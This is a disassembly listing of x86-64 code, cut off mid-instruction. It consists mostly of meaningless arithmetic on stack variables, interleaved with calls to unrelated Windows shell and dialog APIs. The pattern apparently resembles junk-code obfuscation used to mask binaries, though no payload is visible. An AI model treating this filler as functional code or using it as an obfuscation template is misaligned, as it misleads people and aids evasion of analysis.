call qword [sym.imp.SHELL32.dll_ILCreateFromPathW]
mov qword [rsp + 0xd8d8], rax
mov rax, qword [rsp + 0x92b0]
mov rcx, qword [rsp + 0xd638]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc880], rax
mov rax, qword [rsp + 0xd750]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd7b8]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x14019d0b8], ax
mov rax, qword [rsp + 0xd620]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd8a0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1364], ax
mov rax, qword [rsp + 0xd050]
mov ecx, dword [rsp + 0x6d08]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6dc8], eax
mov rax, qword [rsp + 0xd0c0]
movzx eax, byte [rax]
mov byte [rsp + 0x51a], al
mov rax, qword [rsp + 0xd0d8]
mov rcx, qword [rsp + 0xd650]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xad38], rax
movsx eax, byte [rsp + 0x45e]
movsx ecx, byte [rsp + 0x4df]
sub eax, ecx
mov byte [rsp + 0x4ed], al
mov rax, qword [0x14019f120]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd570]
shr rax, cl
mov qword [rsp + 0xb1c0], rax
mov eax, dword [rsp + 0x5b3c]
movzx ecx, al
mov eax, dword [rsp + 0x69f8]
shl eax, cl
mov dword [rsp + 0x5cf0], eax
movzx eax, word [rsp + 0x2b44]
mov word [rsp + 0x2bb4], ax
mov rax, qword [rsp + 0xcfb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a94]
or eax, ecx
mov word [0x14019f0a4], ax
mov rax, qword [rsp + 0xd0b8]
mov rcx, qword [rsp + 0xab00]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd2a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd4e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2890]
add eax, ecx
mov word [rsp + 0x2a78], ax
mov rax, qword [rsp + 0xd7d8]
movzx eax, word [rax]
mov word [rsp + 0x2bb8], ax
mov rax, qword [rsp + 0xd3a8]
mov rcx, qword [rsp + 0xb110]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xd440], rax
mov rax, qword [rsp + 0xcfb0]
mov ecx, dword [0x14019d060]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x58c8], eax
movsx eax, byte [rsp + 0x50c]
mov rcx, qword [rsp + 0xd438]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x461], al
mov rax, qword [rsp + 0xc330]
mov qword [rsp + 0xd8e0], rax
mov rax, qword [rsp + 0xd7a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd4e0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2a78], ax
mov rax, qword [rsp + 0xd890]
mov rax, qword [rax]
mov qword [0x14019f160], rax
movzx eax, byte [rsp + 0x4ef]
movzx ecx, byte [rsp + 0x50b]
sar eax, cl
mov byte [rsp + 0x4c0], al
mov rax, qword [rsp + 0xd480]
mov rcx, qword [rsp + 0xd150]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6920], eax
movsx eax, word [rsp + 0x2bac]
movsx ecx, word [rsp + 0x2acc]
sub eax, ecx
mov word [rsp + 0x2b44], ax
lea rax, [rsp + 0x1bb0]
mov qword [rsp + 0xd8e8], rax
mov eax, dword [rsp + 0x6ddc]
mov ecx, dword [rsp + 0x6bd0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d28], eax
mov rax, qword [rsp + 0xcef0]
mov rcx, qword [rsp + 0xd4c8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd5e0], rax
mov rax, qword [rsp + 0xd438]
movzx eax, byte [rax]
mov byte [rsp + 0x51b], al
mov rax, qword [rsp + 0xd398]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd5b0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2bb4], ax
movzx eax, word [rsp + 0xd98]
mov word [0x14019f168], ax
mov rax, qword [rsp + 0xcdc8]
mov qword [rsp + 0xd8f0], rax
lea rdx, [rsp + 0x2a5c]
lea rcx, [rsp + 0x2a58]
call qword [sym.imp.SHELL32.dll_ILIsEqual]
mov dword [rsp + 0x6dac], eax
mov rax, qword [0x14019f110]
movzx ecx, al
mov rax, qword [rsp + 0xd320]
sar rax, cl
mov rcx, qword [rsp + 0xd388]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd890]
mov rcx, qword [rsp + 0xd2e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xcfe8], rax
mov rax, qword [rsp + 0xd2d8]
movsx eax, word [rax]
movsx ecx, word [0x14019f0f0]
shl eax, cl
mov word [rsp + 0x1770], ax
mov rax, qword [rsp + 0xd608]
mov rcx, qword [rsp + 0xa3c8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xd4f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd0d0]
mov eax, dword [rax]
mov dword [rsp + 0x6de8], eax
mov rax, qword [rsp + 0xd628]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x510]
xor eax, ecx
mov rcx, qword [rsp + 0xd180]
mov byte [rcx], al
movzx eax, byte [rsp + 0x4ff]
movzx ecx, byte [rsp + 0x4f6]
sub eax, ecx
mov byte [rsp + 0x4ee], al
mov eax, dword [rsp + 0x6254]
mov rcx, qword [rsp + 0xd0f8]
mov qword [rsp + 0xd8f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd8f8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x5d00], eax
mov rax, qword [0x14019f028]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a8c]
or eax, ecx
mov word [0x14019f0e0], ax
movzx eax, word [rsp + 0x2b54]
mov rcx, qword [rsp + 0xd160]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2ba0], ax
mov rax, qword [rsp + 0xd5f0]
movzx eax, word [rax]
mov word [rsp + 0x2bbc], ax
mov rax, qword [rsp + 0xc4f8]
mov rcx, qword [0x14019f148]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd1e0], rax
mov rax, qword [rsp + 0xd118]
mov eax, dword [rax]
mov dword [rsp + 0x6dec], eax
mov rax, qword [rsp + 0xd488]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50f]
add eax, ecx
mov byte [rsp + 0x4df], al
mov rax, qword [rsp + 0xd3b8]
mov rcx, qword [rsp + 0xa478]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xaa78], rax
mov rax, qword [rsp + 0xd770]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1dfc], ax
mov rax, qword [rsp + 0xd888]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2728]
add eax, ecx
mov rcx, qword [rsp + 0xd8a0]
mov word [rcx], ax
mov rax, qword [rsp + 0xcfe0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd000]
or rcx, rax
mov rax, rcx
mov qword [0x14019d0c0], rax
movzx eax, word [rsp + 0x2b70]
mov word [rsp + 0x2bc0], ax
mov rax, qword [rsp + 0xd538]
movzx ecx, al
mov rax, qword [0x14019f130]
sar rax, cl
mov rcx, qword [rsp + 0xd478]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd5a0]
mov rcx, qword [rsp + 0xcfe0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xcb10], rax
mov rax, qword [rsp + 0xd2c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd488]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xf7], al
mov rax, qword [rsp + 0xd1c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd3b8]
mov qword [rsp + 0xd900], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd900]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xccc8], rax
mov rax, qword [rsp + 0xd740]
movzx eax, byte [rax]
mov byte [rsp + 0x51c], al
mov rax, qword [rsp + 0xd150]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d78]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5ac4], eax
mov eax, dword [rsp + 0x6de8]
mov ecx, dword [rsp + 0x6de0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd3d8]
mov dword [rcx], eax
movsx eax, word [rsp + 0x2b28]
movsx ecx, word [rsp + 0x2ad8]
or eax, ecx
mov word [0x14019f068], ax
movsx eax, word [rsp + 0x2ba8]
movsx ecx, word [rsp + 0x2b30]
shl eax, cl
mov word [rsp + 0x210c], ax
movzx eax, word [rsp + 0x28e0]
movzx ecx, word [rsp + 0x2aac]
sar eax, cl
mov word [rsp + 0x2a48], ax
movzx eax, word [rsp + 0x2b18]
mov word [rsp + 0x2bc4], ax
movsx eax, byte [rsp + 0x506]
movsx ecx, byte [rsp + 0x4fd]
sub eax, ecx
mov byte [rsp + 0x362], al
mov eax, dword [rsp + 0x6d84]
imul eax, dword [rsp + 0x6db8]
mov dword [rsp + 0x6d5c], eax
mov rax, qword [rsp + 0xd5d0]
mov rax, qword [rax]
mov qword [rsp + 0xd908], rax
mov rax, qword [rsp + 0xd398]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd770]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b10], ax
lea rax, [rsp + 0x17d4]
mov qword [rsp + 0xd910], rax
mov rax, qword [rsp + 0xd298]
mov rcx, qword [rsp + 0xd408]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x14019f0d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd7a8]
mov rcx, qword [rsp + 0xd780]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd5c8], rax
lea rax, [rsp + 0xd538]
mov qword [rsp + 0xd918], rax
mov rax, qword [rsp + 0xd260]
mov rcx, qword [0x14019f130]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd3d0], rax
mov rax, qword [rsp + 0xd828]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcf28]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2bc0], ax
mov rax, qword [rsp + 0xd150]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6dbc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6798], eax
movzx eax, byte [rsp + 0x4ee]
movzx ecx, byte [rsp + 0x502]
shl eax, cl
mov byte [rsp + 0x45a], al
mov rax, qword [rsp + 0xd2f8]
mov eax, dword [rax]
mov dword [rsp + 0x6df0], eax
mov rax, qword [rsp + 0xad08]
mov rcx, qword [rsp + 0xd5d0]
mov qword [rsp + 0xd920], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd920]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xd1e8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x4f7]
mov byte [0x14019ef93], al
movsx eax, word [rsp + 0x13d8]
mov rcx, qword [rsp + 0xd470]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2acc], ax
lea rax, [rsp + 0x2a90]
mov qword [rsp + 0xd928], rax
mov rax, qword [0x14019f100]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b98]
sub eax, ecx
mov word [rsp + 0x2ae4], ax
mov rax, qword [rsp + 0xd1e0]
mov rcx, qword [rsp + 0xd780]
mov qword [rsp + 0xd930], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd930]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9280], rax
mov rax, qword [rsp + 0xd2c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4ec]
sar eax, cl
mov rcx, qword [rsp + 0xd438]
mov byte [rcx], al
mov rax, qword [rsp + 0xd3d8]
mov rcx, qword [rsp + 0xcfb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x654c], eax
mov rax, qword [rsp + 0xd5d0]
mov rax, qword [rax]
mov qword [rsp + 0xd938], rax
mov rax, qword [0x14019f0c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd928]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b5c], ax
mov rax, qword [rsp + 0xd4e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x28e0]
sub eax, ecx
mov word [0x14019d0c8], ax
lea rax, [rsp + 0xd220]
mov qword [rsp + 0xd940], rax
lea rdx, [rsp + 0x22d40]
mov ecx, 0x1f
call qword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
mov dword [rsp + 0x6c14], eax
lea rcx, [rsp + 0x1e600]
call qword [sym.imp.COMDLG32.dll_ChooseColorW]
mov dword [rsp + 0x6ca4], eax
mov rax, qword [rsp + 0xd5f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2890]
add eax, ecx
mov word [rsp + 0x1364], ax
mov eax, dword [rsp + 0x6dbc]
mov dword [rsp + 0x6df4], eax
mov rax, qword [rsp + 0xd550]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd0c0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x4f3], al
mov rax, qword [rsp + 0xd248]
mov rcx, qword [rsp + 0xd4c8]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xd1c8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6db8]
mov rcx, qword [rsp + 0xd338]
mov qword [rsp + 0xd948], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd948]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x5ad8], eax
mov rax, qword [rsp + 0xd438]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd488]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x519], al
mov rax, qword [rsp + 0xd420]
movzx eax, word [rax]
mov word [rsp + 0x2bc8], ax
movzx eax, word [rsp + 0x1fbc]
movzx ecx, word [rsp + 0x2b90]
shl eax, cl
mov word [0x14019f108], ax
mov rax, qword [0x14019f0d0]
mov rcx, qword [rsp + 0xd7e0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd6a0], rax
mov rax, qword [rsp + 0xd298]
mov rcx, qword [rsp + 0xd128]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd380], rax
mov rax, qword [rsp + 0xd2d8]
movsx eax, word [rax]
mov rcx, qword [0x14019f028]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x13dc], ax
mov rax, qword [rsp + 0xd148]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ad0]
shl eax, cl
mov word [rsp + 0x2a68], ax
mov rax, qword [rsp + 0xd118]
mov eax, dword [rax]
mov dword [rsp + 0x6df8], eax
mov rax, qword [0x14019d020]
mov rcx, qword [rsp + 0xd8e0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd858], rax
movsx eax, byte [rsp + 0x32a]
movsx ecx, byte [rsp + 0x3aa]
sar eax, cl
mov byte [rsp + 0x4f7], al
mov rax, qword [rsp + 0xd6a0]
mov qword [rsp + 0xd950], rax
mov rax, qword [rsp + 0xced0]
movzx eax, word [rax]
mov word [0x14019f16c], ax
mov rax, qword [0x14019f0d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd800]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2afc], ax
mov rax, qword [rsp + 0xd098]
mov ecx, dword [rsp + 0x63c8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6b50], eax
movzx eax, byte [rsp + 0x517]
mov rcx, qword [rsp + 0xd1a0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x518], al
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcf48]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc880], rax
movzx eax, byte [rsp + 0x4e4]
mov byte [rsp + 0x51d], al
mov rax, qword [rsp + 0xd1c8]
mov rax, qword [rax]
mov rcx, qword [0x14019f120]
mov qword [rsp + 0xd958], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd958]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xd5e0], rax
lea rax, [rsp + 0x6dc4]
mov qword [rsp + 0xd960], rax
movsx eax, word [rsp + 0x2b0c]
mov rcx, qword [rsp + 0xd0b0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2b64], ax
movzx eax, word [0x14019f0a4]
movzx ecx, word [rsp + 0x2b90]
sar eax, cl
mov word [0x14019d02c], ax
mov rax, qword [rsp + 0xa5f0]
mov rcx, qword [rsp + 0xc338]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbfc8], rax
movzx eax, word [rsp + 0x24fc]
mov rcx, qword [rsp + 0xd160]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x14a0], ax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1548]
add eax, ecx
mov word [rsp + 0x2bb4], ax
mov rax, qword [rsp + 0xa0e8]
mov qword [rsp + 0xd968], rax
mov rax, qword [0x14019efc8]
mov ecx, dword [rsp + 0x69fc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5dfc], eax
lea rax, [rsp + 0x3e7]
mov qword [rsp + 0xd970], rax
mov rax, qword [rsp + 0xd468]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa2c0]
shr rax, cl
mov qword [rsp + 0xd858], rax
movzx eax, word [str.L_nbT]
movzx ecx, word [rsp + 0x2abc]
or eax, ecx
mov word [rsp + 0x1fbc], ax
mov rax, qword [rsp + 0xd3f8]
movzx ecx, al
mov rax, qword [rsp + 0xcdc8]
shl rax, cl
mov qword [0x14019efc0], rax
mov rax, qword [rsp + 0xd1d8]
movzx eax, byte [rax]
mov byte [rsp + 0x51e], al
mov rax, qword [rsp + 0xd480]
mov ecx, dword [rsp + 0x5eac]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6254], eax
movsx eax, word [rsp + 0x20c4]
mov rcx, qword [rsp + 0xd0b0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x151c], ax
movzx eax, word [rsp + 0x29a8]
movzx ecx, word [0x14019f090]
and eax, ecx
mov word [rsp + 0x2a70], ax
mov rax, qword [rsp + 0xd218]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd2c0]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xd0a8]
mov byte [rcx], al
mov rax, qword [rsp + 0xb658]
mov qword [rsp + 0xd978], rax
mov rax, qword [0x14019f158]
mov rcx, qword [rsp + 0xd3d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5e94], eax
mov rax, qword [rsp + 0xd188]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2b64]
sar eax, cl
mov word [rsp + 0xd68], ax
mov rax, qword [rsp + 0xd910]
movzx eax, word [rax]
mov word [0x14019f170], ax
mov rax, qword [rsp + 0xd260]
mov rcx, qword [0x14019d070]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xbd38], rax
mov rax, qword [rsp + 0xd388]
mov rax, qword [rax]
mov qword [rsp + 0xd980], rax
mov rax, qword [rsp + 0xbfc8]
movzx ecx, al
mov rax, qword [rsp + 0xad38]
shl rax, cl
mov qword [rsp + 0xd128], rax
movsx eax, word [0x14019eff8]
mov rcx, qword [rsp + 0xd898]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1b04], ax
lea rdx, [rsp + 0xcf50]
mov rcx, qword [rsp + 0xd1b8]
call qword [sym.imp.SHELL32.dll_DragQueryPoint]
mov dword [rsp + 0x6c14], eax
mov rax, qword [rsp + 0xd2c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4e1]
add eax, ecx
mov byte [rsp + 0x439], al
mov rax, qword [rsp + 0xd3b8]
mov rcx, qword [0x14019f010]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc330], rax
mov rax, qword [rsp + 0xd2f8]
mov eax, dword [rax]
mov dword [rsp + 0x6dfc], eax
mov rax, qword [rsp + 0xd0f8]
mov rcx, qword [rsp + 0xd480]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6254], eax
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x50b]
shl eax, cl
mov byte [rsp + 0x507], al
movsx eax, word [rsp + 0x2ac0]
movsx ecx, word [rsp + 0x1770]
sar eax, cl
mov word [0x14019d0cc], ax
mov rax, qword [rsp + 0xd7f0]
movzx eax, word [rax]
mov word [rsp + 0x2bcc], ax
mov rax, qword [0x14019f018]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2af0]
or eax, ecx
mov word [rsp + 0x1cf4], ax
mov rax, qword [rsp + 0xd2e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcf80]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb9d8], rax
mov rax, qword [rsp + 0xd058]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d94]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c24], eax
mov rax, qword [rsp + 0xd0a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd2c0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1fa], al
mov rax, qword [rsp + 0xd6c0]
mov qword [rsp + 0xd988], rax
mov rax, qword [rsp + 0xced0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd258]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2b38], ax
movzx eax, word [rsp + 0x1180]
movzx ecx, word [rsp + 0x2aa0]
sar eax, cl
mov word [rsp + 0x1b34], ax
mov rax, qword [rsp + 0xd3f8]
mov rcx, qword [rsp + 0xd780]
mov qword [rsp + 0xd990], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd990]
mov rax, qword [rax]
shl rax, cl
mov qword [0x14019f110], rax
movzx eax, word [rsp + 0x2b90]
movzx ecx, word [rsp + 0x1ed8]
sub eax, ecx
mov word [rsp + 0x1b34], ax
mov rax, qword [rsp + 0xd548]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd848]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd758], rax
mov rax, qword [rsp + 0xbfc8]
mov qword [rsp + 0xd998], rax
mov rax, qword [rsp + 0xd970]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd180]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd628]
mov byte [rcx], al
lea rax, [rsp + 0xd518]
mov qword [rsp + 0xd9a0], rax
mov rax, qword [rsp + 0xd1d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4ee]
add eax, ecx
mov byte [rsp + 0x518], al
mov eax, dword [rsp + 0x6da4]
mov dword [rsp + 0x6e00], eax
mov rax, qword [rsp + 0xd118]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d14]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6bd0], eax
movsx eax, word [rsp + 0xe3c]
movsx ecx, word [rsp + 0x2ab8]
sar eax, cl
mov word [0x14019f080], ax
movsx eax, word [rsp + 0x2aa4]
mov rcx, qword [rsp + 0xd2d8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1244], ax
mov rax, qword [rsp + 0xd228]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b08]
and eax, ecx
mov word [rsp + 0x14dc], ax
mov rax, qword [0x14019f060]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2afc]
xor eax, ecx
mov word [rsp + 0x2bc0], ax
lea rax, [rsp + 0xd328]
mov qword [rsp + 0xd9a8], rax
mov rax, qword [rsp + 0xd218]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd2c0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x50d], al
mov rax, qword [rsp + 0xd198]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6dfc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d14], eax
mov rax, qword [rsp + 0xd470]
movzx eax, word [rax]
mov word [rsp + 0x2bd0], ax
lea rax, [rsp + 0x1e600]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0xd718]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0xd9b0]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0xd528]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xd268]
mov r8, qword [rsp + 0xce48]
mov rdx, qword [rsp + 0xd528]
mov ecx, 0x6b
call sub.VERSION.dll_VerInstallFileW
mov dword [rsp + 0x6e04], eax
mov rax, qword [rsp + 0xd630]
movzx eax, word [rax]
movzx ecx, word [0x14019d02c]
shl eax, cl
mov word [rsp + 0x29a8], ax
mov rax, qword [rsp + 0xd6d0]
mov rax, qword [rax]
mov qword [0x14019f178], rax
mov rax, qword [rsp + 0xa5f0]
movzx ecx, al
mov rax, qword [rsp + 0xd3d0]
sar rax, cl
mov qword [rsp + 0xc488], rax
mov rax, qword [rsp + 0x9ee8]
mov rcx, qword [rsp + 0xaf10]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd3d0], rax
mov rax, qword [rsp + 0xd1c0]
mov rcx, qword [rsp + 0xbfc8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xd298]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd8b0]
movzx eax, word [rax]
mov word [rsp + 0x2bd4], ax
mov rax, qword [rsp + 0xd150]
mov rcx, qword [rsp + 0xd050]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x66ac], eax
mov rax, qword [rsp + 0xd740]
movzx eax, byte [rax]
mov byte [rsp + 0x51f], al
mov r9d, 0x75
mov r8, qword [rsp + 0xd4d8]
mov edx, SHUpdateImageW
mov rcx, qword [rsp + 0xd688]
call qword [sym.imp.SHELL32.dll_DragQueryFileW]
mov dword [rsp + 0x6c08], eax
mov rax, qword [rsp + 0xd568]
mov rcx, qword [rsp + 0xd358]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd6c0], rax
mov rax, qword [0x14019f158]
mov ecx, dword [rsp + 0x6da0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6d14], eax
lea rax, [rsp + 0x50e]
mov qword [0x14019f180], rax
lea rax, [rsp + 0x2120]
mov qword [rsp + 0xd9b8], rax
movsx eax, word [rsp + 0x2b94]
movsx ecx, word [rsp + 0x2b50]
add eax, ecx
mov word [rsp + 0x1548], ax
movzx eax, word [rsp + 0x2b1c]
movzx ecx, word [rsp + 0x2af0]
add eax, ecx
mov word [rsp + 0x1be0], ax
mov rax, qword [rsp + 0xc488]
mov rcx, qword [rsp + 0xd208]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xad00], rax
mov rax, qword [rsp + 0xd118]
mov eax, dword [rax]
mov dword [rsp + 0x6e08], eax
movsx eax, byte [rsp + 0x149]
movsx ecx, byte [rsp + 0x503]
xor eax, ecx
mov byte [rsp + 0x51d], al
mov rax, qword [rsp + 0xd8d0]
movzx ecx, al
mov rax, qword [rsp + 0xb6e0]
shl rax, cl
mov qword [rsp + 0xb658], rax
mov rax, qword [rsp + 0xd188]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd7b8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2284], ax
mov rax, qword [rsp + 0xd828]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd888]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x14019d0d0], ax
mov rax, qword [rsp + 0xd660]
mov rax, qword [rax]
mov rcx, qword [0x14019d018]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd0b8], rax
mov rax, qword [rsp + 0xd800]
movzx eax, word [rax]
mov word [rsp + 0x2bd8], ax
mov rax, qword [rsp + 0xd050]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d58]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d9c], eax
mov rax, qword [rsp + 0xd1d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4f6]
shl eax, cl
mov byte [rsp + 0x51f], al
mov rax, qword [rsp + 0xd338]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd058]
mov qword [rsp + 0xd9c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd9c0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x66a4], eax
mov dword [rsp + 0x20], SHTestTokenMembership
lea r9, [rsp + 0xd3c0]
lea r8, [rsp + 0xd520]
mov edx, 0xaa
mov rcx, qword [rsp + 0xd5b8]
call qword [sym.imp.SHELL32.dll_ExtractIconExW]
mov dword [rsp + 0x6e0c], eax
mov rax, qword [rsp + 0xa3c8]
mov rcx, qword [rsp + 0xd8c0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9538], rax
movzx eax, byte [rsp + 0x50c]
mov byte [rsp + 0x520], al
mov r9d, 0x6e
mov r8d, 0xc5
mov edx, 0xc7
mov rcx, qword [rsp + 0xcfd0]
